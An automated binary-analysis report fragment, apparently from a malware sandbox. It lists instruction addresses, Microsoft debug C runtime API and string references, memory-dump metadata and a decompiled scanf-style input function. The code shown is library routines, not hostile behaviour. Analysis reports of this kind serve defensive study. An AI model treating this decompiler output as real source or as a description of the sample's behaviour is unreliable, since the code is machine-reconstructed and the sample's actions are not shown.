0x00431df1
0x00000000
0x00000000
0x00431df3
0x00431df6
0x00431e1b
0x00431e20
0x00431e23
0x00431e29
0x00431e30
0x00431e3e
0x00431e51
0x00431e56
0x00431e65
0x00000000
0x00431e65
0x00431e32
0x00431e32
0x00000000
0x00431e32
0x00431e70
0x00431e8d
0x00431e8d
0x00431e94
0x00431e99
0x00431e9c
0x00431eb2
0x00431eb7
0x00431eb7
0x00431e9c
0x00431e94
0x00431eba
0x00431eba
0x00431ebe
0x00431ec6
0x00431ecb
0x00431ece
0x00431ece
0x00431ed5
0x00431ed5
0x0043105b
0x00431062
0x0043106f
0x00431074
0x00000000
0x00431087
0x00431091
0x004310b8
0x0043109f
0x004310b0
0x004310b0
0x00431091
0x004310c2
0x004310c8
0x004310d4
0x004310d7
0x004310e5
0x004310e8
0x004310f5
0x0043119a
0x004311a0
0x004311a6
0x004311ad
0x00000000
0x00000000
0x004311b3
0x004311b9
0x00000000
0x004311c0
0x004311c0
0x004311da
0x004311df
0x00000000
0x00000000
0x004311e7
0x004311e7
0x004311ee
0x004311f1
0x004311f4
0x004311f7
0x004311fa
0x004311fd
0x00431200
0x00431207
0x0043120e
0x00000000
0x00000000
0x0043121a
0x0043121a
0x00431221
0x0043122d
0x00431230
0x00431236
0x0043123d
0x00000000
0x00000000
0x0043123f
0x00431245
0x00431245
0x0043124c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00431290
0x00431290
0x00431297
0x0043129a
0x004312c4
0x004312c7
0x004312c7
0x004312d1
0x004312d1
0x004312d5
0x0043129c
0x0043129c
0x004312a8
0x004312ab
0x004312af
0x004312b1
0x004312b4
0x004312b4
0x004312b7
0x004312ba
0x004312bd
0x004312bf
0x004312bf
0x004312c2
0x004312d8
0x00000000
0x00000000
0x004312dd
0x004312dd
0x00000000
0x00000000
0x004312e9
0x004312e9
0x004312f0
0x004312f3
0x00431313
0x00431316
0x00431316
0x00431320
0x00431320
0x00431324
0x004312f5
0x004312f5
0x00431301
0x00431304
0x00431308
0x0043130a
0x0043130a
0x00431311
0x00000000
0x00000000
0x0043132c
0x0043132c
0x00431333
0x0043133f
0x00431342
0x00431348
0x0043134f
0x00431462
0x00000000
0x00431462
0x00431355
0x0043135b
0x0043135b
0x00431362
0x00000000
0x00431399
0x00431399
0x0043139c
0x0043139f
0x004313a2
0x004313c9
0x004313c9
0x004313cc
0x004313cf
0x004313d2
0x004313f6
0x004313f6
0x004313f9
0x004313fc
0x004313ff
0x00431438
0x00431449
0x00000000
0x00431449
0x00431401
0x00431401
0x00431404
0x00431407
0x0043140a
0x00000000
0x00000000
0x0043140c
0x0043140c
0x0043140f
0x00431412
0x00431415
0x00000000
0x00000000
0x00431417
0x00431417
0x0043141a
0x0043141d
0x00431420
0x00000000
0x00000000
0x00431422
0x00431422
0x00431425
0x00431428
0x0043142b
0x00000000
0x00000000
0x0043142d
0x0043142d
0x00431430
0x00431433
0x00431436
0x0043143a
0x00000000
0x0043143a
0x00000000
0x00431436
0x004313d4
0x004313d4
0x004313d7
0x004313db
0x004313de
0x00000000
0x004313e0
0x004313e3
0x004313e6
0x004313ec
0x004313f1
0x00000000
0x004313f1
0x004313de
0x004313a4
0x004313a4
0x004313a7
0x004313ab
0x004313ae
0x00000000
0x004313b0
0x004313b3
0x004313b6
0x004313bc
0x004313c1
0x00000000
0x004313c1
0x00000000
0x0043144b
0x0043144b
0x0043144e
0x00431451
0x00000000
0x00000000
0x00431369
0x00431369
0x0043136c
0x0043136f
0x00431372
0x0043138b
0x0043138e
0x0043138e
0x00431391
0x00431374
0x00431374
0x00431377
0x0043137a
0x00431380
0x00431386
0x00431386
0x00000000
0x00000000
0x00431456
0x00431456
0x00431459
0x00431459
0x0043145f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00431467
0x00431467
0x0043146e
0x00431474
0x0043147a
0x0043147d
0x00431483
0x0043148a
0x00000000
0x00431cda
0x00431cda
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00431c91
0x00431c97
0x00431c9a
0x00431c9d
0x00431ca0
0x00431ca3
0x00431ca9
0x00431ca9
0x00431ca9
0x00431cb1
0x00431cb5
0x00000000
0x00000000
0x00431cb7
0x00431cb7
0x00431cba
0x00431cbd
0x00431cbd
0x00431cc2
0x00431cc5
0x00431cc8
0x00431ccb
0x00431cce
0x00431cd1
0x00431cd4
0x00431cd4
0x00431cd7
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00431cda
0x00431490
0x00431496
0x00431496
0x0043149d
0x00000000
0x00431821
0x00431821
0x0043182f
0x0043182f
0x00431832
0x00000000
0x00000000
0x004314a4
0x004314a7
0x004314a7
0x004314ad
0x004314af
0x004314b2
0x004314b2
0x004314b5
0x004314b5
0x00000000
0x00000000
0x004315ea
0x004315ed
0x004315ed
0x004315f2
0x004315f4
0x004315f7
0x004315f7
0x004315fa
0x004315fa
0x00000000
0x00000000
0x004319e7
0x004319e7
0x00000000
0x00000000
0x00431554
0x00431554
0x00431560
0x00431566
0x0043156d
0x0043157b
0x0043157b
0x00431581
0x00431584
0x00431590
0x004315e5
0x00000000
0x004315e5
0x0043156f
0x0043156f
0x00431575
0x00431579
0x00431598
0x00431598
0x0043159e
0x004315c6
0x004315cd
0x004315d3
0x004315d6
0x004315d9
0x004315df
0x004315e2
0x004315a0
0x004315a0
0x004315a6
0x004315a9
0x004315ac
0x004315b2
0x004315b5
0x004315b8
0x004315ba
0x004315bd
0x004315bd
0x00000000
0x0043159e
0x00000000
0x00000000
0x00431839
0x0043183c
0x0043183f
0x00431842
0x00431848
0x0043184b
0x00431852
0x00431856
0x00431861
0x00431861
0x00431865
0x0043187c
0x0043187c
0x00431883
0x00431885
0x00431885
0x0043188c
0x0043188c
0x00431893
0x004318a1
0x004318a4
0x004318b3
0x004318b6
0x004318ba
0x004318cf
0x004318bc
0x004318bc
0x004318bf
0x004318c5
0x004318ca
0x004318ca
0x004318ba
0x004318d9
0x004318dc
0x004318df
0x004318e2
0x004318e5
0x004318e8
0x004318ee
0x004318f4
0x004318fc
0x004318fd
0x00431900
0x00431901
0x00431904
0x00431905
0x0043190c
0x0043190d
0x00431910
0x00431911
0x00431914
0x00431915
0x0043191b
0x0043191c
0x00431922
0x00431923
0x00431929
0x0043192b
0x00431931
0x00431931
0x00431936
0x00431938
0x0043193c
0x0043193e
0x00431941
0x00431946
0x00431947
0x0043194a
0x0043194b
0x00431951
0x00431952
0x00431958
0x0043195a
0x0043195a
0x0043193c
0x0043195d
0x00431964
0x00431967
0x0043196c
0x0043196c
0x00431972
0x00431974
0x0043197c
0x0043197d
0x00431980
0x00431981
0x00431986
0x00431987
0x0043198d
0x0043198f
0x0043198f
0x00431972
0x00431992
0x00431995
0x00431998
0x0043199b
0x004319a0
0x004319a5
0x004319a8
0x004319ab
0x004319ab
0x004319ae
0x004319ae
0x004319b1
0x004319bd
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x00431cda
0x00431867
0x00431867
0x0043186e
0x00431871
0x00000000
0x00000000
0x00431873
0x00431873
0x00000000
0x00431873
0x00431858
0x00431858
0x00000000
0x00000000
0x004314b8
0x004314b8
0x004314c3
0x004314cb
0x004314d2
0x004314d5
0x004314d5
0x004314d8
0x00431538
0x004314da
0x004314e1
0x004314e7
0x004314ed
0x004314f4
0x004314f7
0x004314fd
0x00431505
0x00431507
0x0043150e
0x00431515
0x0043151c
0x00431524
0x00431526
0x00431528
0x00431528
0x0043152f
0x0043153f
0x00431545
0x00431548
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x004319c5
0x004319c8
0x004319cb
0x004319ce
0x00000000
0x00000000
0x00000000
0x00000000
0x00431a2e
0x00431a2e
0x00431a38
0x00431a38
0x00431a3e
0x00431a40
0x00431a43
0x00431a43
0x00431a49
0x00431a49
0x00000000
0x00000000
0x004319e0
0x004319e0
0x00000000
0x00000000
0x004315fd
0x004315fd
0x00431601
0x0043160f
0x00431612
0x00431603
0x00431603
0x00431603
0x00431618
0x0043161e
0x00431624
0x00431630
0x00431636
0x00431636
0x00431639
0x004316c1
0x004316c1
0x004316c5
0x004316c7
0x004316cd
0x004316cd
0x004316d0
0x004316d7
0x004316da
0x004316e0
0x004316e0
0x004316e0
0x004316e6
0x004316ec
0x004316ef
0x004316f5
0x004316f7
0x00000000
0x00000000
0x004316f9
0x004316f9
0x004316ff
0x00431702
0x00431704
0x00000000
0x00000000
0x00431706
0x0043170c
0x0043170f
0x0043170f
0x00431717
0x00431717
0x0043171d
0x0043171d
0x00431722
0x00000000
0x0043163f
0x0043163f
0x0043163f
0x00431643
0x00431645
0x0043164a
0x0043164a
0x0043164d
0x00431650
0x00431656
0x00431668
0x00431668
0x00431668
0x0043166b
0x00431671
0x00000000
0x00000000
0x00431673
0x00431673
0x00431679
0x0043167c
0x0043167e
0x00000000
0x00000000
0x00431680
0x00431680
0x00431689
0x0043168f
0x00431693
0x0043169b
0x0043169d
0x0043169f
0x004316a5
0x004316a5
0x004316a8
0x004316a8
0x004316b4
0x004316b7
0x0043165f
0x00431662
0x00431662
0x00431665
0x00431665
0x004316bf
0x00431725
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00431cda
0x00000000
0x004319d7
0x004319d7
0x00000000
0x00000000
0x004319f3
0x004319f3
0x004319fd
0x004319fd
0x00431a07
0x00431a07
0x00431a0d
0x00431a0f
0x00431a14
0x00431a1e
0x00431a1e
0x00431a21
0x00431a25
0x00431a25
0x00431a4c
0x00431a4f
0x00431a4f
0x00431a54
0x00431a76
0x00431a76
0x00431a7c
0x00431a9e
0x00431a9e
0x00431aa1
0x00431ae8
0x00431ae8
0x00431aeb
0x00431b08
0x00431b0c
0x00431b14
0x00431b14
0x00431b16
0x00431b1c
0x00431aed
0x00431aed
0x00431af1
0x00431af9
0x00431afa
0x00431b00
0x00431b00
0x00431aa3
0x00431aa6
0x00431aa6
0x00431aa9
0x00431ac7
0x00431ad3
0x00431ad6
0x00431ad7
0x00431add
0x00431aab
0x00431aab
0x00431aaf
0x00431ab7
0x00431ab8
0x00431ab9
0x00431abf
0x00431abf
0x00431ae3
0x00431a7e
0x00431a7e
0x00431a8a
0x00431a90
0x00431a90
0x00431a56
0x00431a56
0x00431a62
0x00431a68
0x00431a68
0x00431b25
0x00431b25
0x00431b28
0x00431b6a
0x00431b6a
0x00431b70
0x00431b76
0x00431b7c
0x00000000
0x00431b2a
0x00431b2a
0x00431b2a
0x00431b31
0x00000000
0x00000000
0x00431b33
0x00431b33
0x00431b3e
0x00431b44
0x00431b46
0x00431b4c
0x00431b4f
0x00431b51
0x00431b57
0x00431b60
0x00431b65
0x00431b82
0x00431b85
0x00431b85
0x00431b8a
0x00431b8f
0x00431b8f
0x00431b95
0x00431b97
0x00431b9d
0x00431ba3
0x00431ba3
0x00431bac
0x00431bac
0x00431b95
0x00431bb2
0x00431bb6
0x00431bc4
0x00431bc7
0x00431bca
0x00431bd1
0x00431bd3
0x00431bd3
0x00431bb8
0x00431bb8
0x00431bb8
0x00431be0
0x00431be0
0x00431be6
0x00431be8
0x00431be8
0x00431bef
0x00431bf5
0x00431bf8
0x00431bf8
0x00431bf8
0x00431bfe
0x00431c01
0x00431c04
0x00431c06
0x00000000
0x00000000
0x00431c08
0x00431c0e
0x00431c0e
0x00431c14
0x00000000
0x00000000
0x00431c16
0x00431c16
0x00431c19
0x00431c1c
0x00431c23
0x00431c2a
0x00431c32
0x00431c38
0x00431c3b
0x00431c3e
0x00431c45
0x00431c51
0x00431c57
0x00431c5d
0x00431c64
0x00431c66
0x00431c6c
0x00431c6c
0x00431c72
0x00431c72
0x00431c78
0x00431c81
0x00431c86
0x00431c89
0x00431bf8
0x00431bf8
0x00431bfe
0x00431c01
0x00431c04
0x00431c06
0x00000000
0x00000000
0x00000000
0x00431c06
0x00431bf8
0x00431b35
0x00431b35
0x00431b3c
0x00000000
0x00000000
0x00000000
0x00431b3c
0x00000000
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x00000000
0x00431269
0x00431269
0x0043126c
0x0043126f
0x00000000
0x00000000
0x00431274
0x00431277
0x0043127d
0x00000000
0x00000000
0x0043125e
0x00431261
0x00431264
0x00000000
0x00000000
0x00431253
0x00431256
0x00431259
0x00000000
0x00000000
0x00431282
0x00431282
0x00431285
0x00431285
0x00431288
0x00000000
0x00000000
0x0043128b
0x00000000
0x00000000
0x004310fb
0x004310fb
0x004310fd
0x0043110b
0x004310ff
0x004310ff
0x004310ff
0x0043111b
0x00431128
0x0043112a
0x0043112f
0x00431131
0x00431136
0x0043113b
0x0043113d
0x00431142
0x00431148
0x0043114a
0x0043114a
0x00431148
0x0043114b
0x00431152
0x00000000
0x00431154
0x00431159
0x00431175
0x0043117d
0x0043118a
0x0043118f
0x00000000
0x0043118f
0x00431152
0x004310f5
0x00431eda
0x00431eda
0x00431ee1
0x00431ef8
0x00431ef8
0x00431f02
0x00431f02
0x00431f08
0x00431f0e
0x00431f15
0x00431f17
0x00431f1c
0x00431f1e
0x00431f23
0x00431f28
0x00431f2a
0x00431f2f
0x00431f32
0x00431f35
0x00431f37
0x00431f37
0x00431f35
0x00431f38
0x00431f3f
0x00431f8a
0x00431f93
0x00431f98
0x00431f41
0x00431f46
0x00431f62
0x00431f6a
0x00431f77
0x00431f7c
0x00431f7c
0x00000000
0x00431f3f
0x00431ee3
0x00431ee3
0x00431eea
0x00000000
0x00000000
0x00431eec
0x00431eec
0x00000000
0x00431eec
0x004317a2
0x004317a2
0x004317a7
0x004317c3
0x004317cb
0x004317d5
0x004317d8
0x004317dd
0x00431f9e
0x00431fab
0x00431fab
0x004317ed
0x004317f0
0x004317f3
0x00431813
0x004317f5
0x00431802
0x00431802
0x00431815
0x00000000
0x00431815

APIs

_get_int_arg.LIBCMTD ref: 0043172E
__get_printf_count_output.LIBCMTD ref: 0043173C
__invalid_parameter.LIBCMTD ref: 004317C3
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004317D8
_write_multi_char.LIBCMTD ref: 00431D65
_write_string.LIBCMTD ref: 00431D80
_write_multi_char.LIBCMTD ref: 00431DAC
__mbtowc_l.LIBCMTD ref: 00431E1B

Strings

_woutput_s_l, xrefs: 0043116B, 004317B9
("Incorrect format specifier", 0), xrefs: 0043112A, 00431170
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00431136, 00431166, 00431784, 004317B4
("'n' format specifier disabled", 0), xrefs: 00431778, 004317BE

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: 0e540a20af846f6ad55a62e5834ceb7e8ea16feff689dff66486e5deb35af21b
Instruction ID: 54ac0d07c1061e33e04a9d45ee13318cb6c139b84eb4fa838c5ebb9c75f8fdf9
Opcode Fuzzy Hash: 0e540a20af846f6ad55a62e5834ceb7e8ea16feff689dff66486e5deb35af21b
Instruction Fuzzy Hash: 8FA1AFB0D002199BDF24DB45CC86BEEB374AB48304F1490DAE6196B292D779AEC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5F6, Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041C5F6(void* __ebx) {
				signed int _t826;
				intOrPtr* _t828;
				signed int _t833;
				void* _t838;
				void* _t846;
				signed char _t850;
				signed int _t853;
				intOrPtr _t855;
				signed int _t866;
				signed char _t947;
				signed char _t949;
				signed int _t952;
				signed int _t956;
				signed int _t959;
				void* _t970;
				signed int _t974;
				signed int _t980;
				signed char _t981;
				signed int _t983;
				signed int _t989;
				signed char _t992;
				signed char _t993;
				signed int _t1000;
				signed int _t1008;
				signed int _t1009;
				signed int _t1015;
				signed char _t1017;
				signed int _t1023;
				signed char _t1024;
				signed char _t1026;
				void* _t1027;
				signed int _t1044;
				signed int _t1049;
				signed int _t1056;
				signed int _t1130;
				signed int _t1145;
				signed int _t1184;
				signed int _t1190;
				intOrPtr _t1249;
				signed int _t1279;
				void* _t1280;
				void* _t1281;
				signed int _t1282;
				void* _t1284;
				void* _t1285;
				void* _t1286;
				void* _t1289;
				void* _t1293;
				void* _t1294;

				L0:
				while(1) {
					L0:
					_t1027 = __ebx;
					 *(_t1282 - 0x10) = 0;
					if( *(_t1282 - 0x21c) != 0x2d) {
						goto L270;
					}
					L269:
					 *((intOrPtr*)(__ebp - 0x84)) =  *((intOrPtr*)(__ebp - 0x84)) +  *((intOrPtr*)(__ebp - 0x10));
					 *((char*)( *((intOrPtr*)(__ebp - 0x84)) +  *((intOrPtr*)(__ebp - 0x10)))) = 0x2d;
					 *((intOrPtr*)(__ebp - 0x10)) =  *((intOrPtr*)(__ebp - 0x10)) + 1;
					 *((intOrPtr*)(__ebp - 0x10)) =  *((intOrPtr*)(__ebp - 0x10)) + 1;
					L271:
					 *(_t1282 - 0x78) =  *(_t1282 - 0x78) - 1;
					_t1279 =  *(_t1282 - 0xc) + 1;
					 *(_t1282 - 0xc) = _t1279;
					_t1026 = E0041CF70( *(_t1282 + 8));
					_t1284 = _t1284 + 4;
					 *(_t1282 - 0x21c) = _t1026;
					L272:
					if( *(_t1282 - 0x1f0) == 0) {
						 *(_t1282 - 0x78) = 0xffffffff;
					}
					while(1) {
						L274:
						_t826 = E004250C0( *(_t1282 - 0x21c) & 0x000000ff);
						_t1285 = _t1284 + 4;
						if(_t826 == 0) {
							break;
						}
						L275:
						 *(_t1282 - 0x78) =  *(_t1282 - 0x78) - 1;
						if( *(_t1282 - 0x78) == 0) {
							break;
						}
						L276:
						 *(_t1282 - 0x1f4) =  *(_t1282 - 0x1f4) + 1;
						 *((char*)( *(_t1282 - 0x84) +  *(_t1282 - 0x10))) =  *(_t1282 - 0x21c);
						 *(_t1282 - 0x10) =  *(_t1282 - 0x10) + 1;
						_t1170 = _t1282 - 0x204;
						_t1023 = E0041CE30(_t1282 - 0x84,  *(_t1282 - 0x10), _t1282 - 0x204, _t1282 - 0x84, _t1282 - 0x1e8, _t1282 - 0x28);
						_t1284 = _t1285 + 0x14;
						if(_t1023 != 0) {
							L278:
							 *(_t1282 - 0xc) =  *(_t1282 - 0xc) + 1;
							_t1024 = E0041CF70( *(_t1282 + 8));
							_t1284 = _t1284 + 4;
							 *(_t1282 - 0x21c) = _t1024;
							continue;
						}
						L277:
						L335:
						if( *((intOrPtr*)(_t1282 - 0x28)) == 1) {
							L0041DD40( *(_t1282 - 0x84), 2);
							_t1284 = _t1284 + 8;
						}
						if( *(_t1282 - 0x21c) != 0xffffffff) {
							L343:
							if( *(_t1282 - 0x24) != 1) {
								L352:
								_t1170 =  *(_t1282 - 8);
								 *(_t1282 - 0x24c) =  *(_t1282 - 8);
								E0041B2A0(_t1282 - 0x214);
								_t833 =  *(_t1282 - 0x24c);
								goto L353;
							}
							L344:
							if(0 == 0) {
								 *(_t1282 - 0x278) = 0;
							} else {
								 *(_t1282 - 0x278) = 1;
							}
							_t1170 =  *(_t1282 - 0x278);
							 *(_t1282 - 0x240) =  *(_t1282 - 0x278);
							if( *(_t1282 - 0x240) == 0) {
								_push(L"(\"Invalid Input Format\",0)");
								_push(0);
								_push(0x55d);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
								_push(2);
								_t838 = L0041AAF0();
								_t1284 = _t1284 + 0x14;
								if(_t838 == 1) {
									asm("int3");
								}
							}
							if( *(_t1282 - 0x240) != 0) {
								goto L352;
							} else {
								L351:
								 *((intOrPtr*)(L0041A7C0(0))) = 0x16;
								E00419D60(0, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x55d, 0);
								 *(_t1282 - 0x248) =  *(_t1282 - 8);
								E0041B2A0(_t1282 - 0x214);
								_t833 =  *(_t1282 - 0x248);
								goto L353;
							}
						} else {
							L338:
							if( *(_t1282 - 8) != 0) {
								L341:
								_t1170 =  *(_t1282 - 8);
								 *(_t1282 - 0x274) =  *(_t1282 - 8);
								L342:
								 *(_t1282 - 0x244) =  *(_t1282 - 0x274);
								E0041B2A0(_t1282 - 0x214);
								_t833 =  *(_t1282 - 0x244);
								L353:
								return E00422570(_t833, _t1027,  *(_t1282 - 0x50) ^ _t1282, _t1170, _t1280, _t1281);
							}
							L339:
							if( *(_t1282 - 0x1e9) != 0) {
								goto L341;
							}
							L340:
							 *(_t1282 - 0x274) = 0xffffffff;
							goto L342;
						}
					}
					L279:
					_t828 = E0041B2E0(_t1282 - 0x214);
					_t1286 = _t1285 + 4;
					 *((char*)(_t1282 - 1)) =  *((intOrPtr*)( *_t828));
					if( *((char*)(_t1282 - 1)) !=  *(_t1282 - 0x21c)) {
						L288:
						if( *(_t1282 - 0x1f4) == 0) {
							L307:
							_t1170 =  *(_t1282 - 0xc) - 1;
							 *(_t1282 - 0xc) =  *(_t1282 - 0xc) - 1;
							E0041CFD0( *(_t1282 - 0x21c),  *(_t1282 + 8));
							_t1284 = _t1286 + 8;
							if( *(_t1282 - 0x1f4) == 0) {
								L311:
								goto L335;
							}
							L308:
							if( *((char*)(_t1282 - 0x12)) == 0) {
								 *(_t1282 - 8) =  *(_t1282 - 8) + 1;
								 *((char*)( *(_t1282 - 0x84) +  *(_t1282 - 0x10))) = 0;
								_t974 =  *(_t1282 - 0x7c);
								_t1130 =  *((char*)(_t1282 - 0x1d)) - 1;
								_t1249 =  *0x43e47c; // 0x46f0f098
								__imp__DecodePointer(_t1249, _t1130, _t974,  *(_t1282 - 0x84), E0041B2D0(_t1282 - 0x214));
								 *_t974();
								_t1284 = _t1284 + 0x10;
							}
							while(1) {
								L318:
								 *(_t1282 - 0x1e9) =  *(_t1282 - 0x1e9) + 1;
								 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
								while(1) {
									L330:
									if( *(_t1282 - 0x21c) != 0xffffffff) {
										goto L334;
									}
									L331:
									_t1170 =  *(_t1282 + 0xc);
									if(( *( *(_t1282 + 0xc)) & 0x000000ff) != 0x25) {
										L333:
										goto L335;
									}
									L332:
									_t1044 =  *(_t1282 + 0xc);
									_t1170 =  *(_t1044 + 1) & 0x000000ff;
									if(( *(_t1044 + 1) & 0x000000ff) == 0x6e) {
										goto L334;
									}
									goto L333;
									L334:
									while(1) {
										L1:
										_t1170 =  *(_t1282 + 0xc);
										if(( *( *(_t1282 + 0xc)) & 0x000000ff) == 0) {
											goto L335;
										}
										L2:
										_t846 = E00425240( *( *(_t1282 + 0xc)) & 0x000000ff);
										_t1284 = _t1284 + 4;
										if(_t846 == 0) {
											L6:
											if(( *( *(_t1282 + 0xc)) & 0x000000ff) != 0x25) {
												L321:
												if(( *( *(_t1282 + 0xc)) & 0x000000ff) == 0x25) {
													_t866 =  *(_t1282 + 0xc);
													if(( *(_t866 + 1) & 0x000000ff) == 0x25) {
														_t1184 =  *(_t1282 + 0xc) + 1;
														 *(_t1282 + 0xc) = _t1184;
													}
												}
												 *(_t1282 - 0xc) =  *(_t1282 - 0xc) + 1;
												_t850 = E0041CF70( *(_t1282 + 8));
												_t1289 = _t1284 + 4;
												 *(_t1282 - 0x21c) = _t850;
												 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
												if(( *( *(_t1282 + 0xc)) & 0x000000ff) ==  *(_t1282 - 0x21c)) {
													L326:
													_t853 = E00425500( *(_t1282 - 0x21c) & 0x000000ff);
													_t1284 = _t1289 + 4;
													if(_t853 == 0) {
														do {
															L330:
															if( *(_t1282 - 0x21c) != 0xffffffff) {
																goto L334;
															}
															goto L331;
														} while (_t853 == 0);
													}
													L327:
													 *(_t1282 - 0xc) =  *(_t1282 - 0xc) + 1;
													_t855 = E0041CF70( *(_t1282 + 8));
													_t1284 = _t1284 + 4;
													 *((intOrPtr*)(_t1282 - 0x23c)) = _t855;
													 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
													if(( *( *(_t1282 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1282 - 0x23c))) {
														L329:
														_t1049 =  *(_t1282 - 0xc) - 1;
														 *(_t1282 - 0xc) = _t1049;
														goto L330;
													}
													L328:
													 *(_t1282 - 0xc) =  *(_t1282 - 0xc) - 1;
													E0041CFD0( *((intOrPtr*)(_t1282 - 0x23c)),  *(_t1282 + 8));
													 *(_t1282 - 0xc) =  *(_t1282 - 0xc) - 1;
													_t1170 =  *(_t1282 + 8);
													E0041CFD0( *(_t1282 - 0x21c),  *(_t1282 + 8));
													_t1284 = _t1284 + 0x10;
												} else {
													L325:
													 *(_t1282 - 0xc) =  *(_t1282 - 0xc) - 1;
													_t1170 =  *(_t1282 - 0x21c);
													E0041CFD0( *(_t1282 - 0x21c),  *(_t1282 + 8));
													_t1284 = _t1289 + 8;
												}
												goto L335;
											}
											L7:
											_t1056 =  *(_t1282 + 0xc);
											if(( *(_t1056 + 1) & 0x000000ff) == 0x25) {
												goto L321;
											} else {
												 *(_t1282 - 0x220) = 0;
												 *((char*)(_t1282 - 0x7d)) = 0;
												 *(_t1282 - 0x1f4) = 0;
												 *(_t1282 - 0x1f0) =  *(_t1282 - 0x1f4);
												 *(_t1282 - 0x78) =  *(_t1282 - 0x1f0);
												 *(_t1282 - 0x18) = 0;
												 *(_t1282 - 0x34) =  *(_t1282 - 0x18);
												 *(_t1282 - 0x40) = 0;
												 *(_t1282 - 3) = 0;
												 *((char*)(_t1282 - 2)) =  *(_t1282 - 3);
												 *((char*)(_t1282 - 0x12)) =  *((intOrPtr*)(_t1282 - 2));
												 *(_t1282 - 0x1e) =  *((intOrPtr*)(_t1282 - 0x12));
												 *(_t1282 - 0x29) =  *(_t1282 - 0x1e);
												 *(_t1282 - 0x215) = 0;
												 *((char*)(_t1282 - 0x1d)) = 1;
												 *(_t1282 - 0x30) = 0;
												while(1) {
													L9:
													if( *(_t1282 - 0x1e) != 0) {
														break;
													}
													L10:
													 *(_t1282 + 0xc) =  *(_t1282 + 0xc) + 1;
													 *(_t1282 - 0x44) =  *( *(_t1282 + 0xc)) & 0x000000ff;
													_t956 = E004250C0( *(_t1282 - 0x44) & 0x000000ff);
													_t1284 = _t1284 + 4;
													if(_t956 == 0) {
														L12:
														 *(_t1282 - 0x25c) =  *(_t1282 - 0x44);
														 *(_t1282 - 0x25c) =  *(_t1282 - 0x25c) - 0x2a;
														if( *(_t1282 - 0x25c) > 0x4d) {
															L39:
															_t959 =  *(_t1282 - 0x1e) + 1;
															 *(_t1282 - 0x1e) = _t959;
															goto L40;
														}
														L13:
														_t64 =  *(_t1282 - 0x25c) + 0x41cd90; // 0x8eff8b06
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M0041CD70))) {
															case 0:
																L38:
																 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																goto L40;
															case 1:
																L14:
																goto L40;
															case 2:
																L16:
																__eax =  *(__ebp + 0xc);
																__ecx =  *(__eax + 1) & 0x000000ff;
																__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																	L19:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																	__eflags = __ecx - 0x33;
																	if(__ecx != 0x33) {
																		L22:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 1) & 0x000000ff;
																		__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																		if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																			L27:
																			__eax = 0;
																			__eflags = 0;
																			if(0 != 0) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 0x30) = __ecx;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																			}
																			L29:
																			goto L40;
																		}
																		L23:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *(__ecx + 1) & 0x000000ff;
																		__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																		if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																			goto L27;
																		}
																		L24:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L27;
																		}
																		L25:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 1) & 0x000000ff;
																		__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
